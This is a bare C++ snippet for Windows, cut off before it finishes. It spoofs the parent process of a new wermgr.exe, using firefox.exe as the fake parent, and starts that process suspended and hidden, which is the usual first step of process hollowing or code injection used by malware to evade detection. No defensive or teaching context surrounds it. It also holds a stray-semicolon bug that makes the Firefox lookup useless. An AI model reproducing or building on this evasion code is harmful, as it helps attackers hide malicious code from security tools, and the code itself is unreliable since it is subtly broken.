C++:
#include <windows.h>
#include <iostream>
#include "sys.h"
#include <TlHelp32.h>
STARTUPINFOEXA info;
PROCESS_INFORMATION processinfo;
SIZE_T cbAttributeListSize = 0;
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = NULL;
HANDLE hParrentProcess = NULL;
DWORD dwPid = 0;
DWORD GetPidByName(const wchar_t* pName) {
PROCESSENTRY32W pEntry;
HANDLE snapshot;
pEntry.dwSize = sizeof(PROCESSENTRY32);
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (Process32FirstW(snapshot, &pEntry) == TRUE) {
while (Process32NextW(snapshot, &pEntry) == TRUE) {
if (_wcsicmp(pEntry.szExeFile, pName) == 0) {
CloseHandle(snapshot);
return pEntry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
int main(void) {
ZeroMemory(&info, sizeof(STARTUPINFOEXA));
dwPid = GetPidByName(L"firefox.exe");
if (dwPid == 0);
dwPid = GetCurrentProcessId();
InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize);
hParrentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParrentProcess, sizeof(HANDLE), NULL, NULL);
info.lpAttributeList = pAttributeList;
CreateProcessA(NULL, (LPSTR)"wermgr.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW | DETACHED_PROCESS | EXTENDED_STARTUPINFO_PRESENT, NULL,NULL, &info.StartupInfo, &processinfo);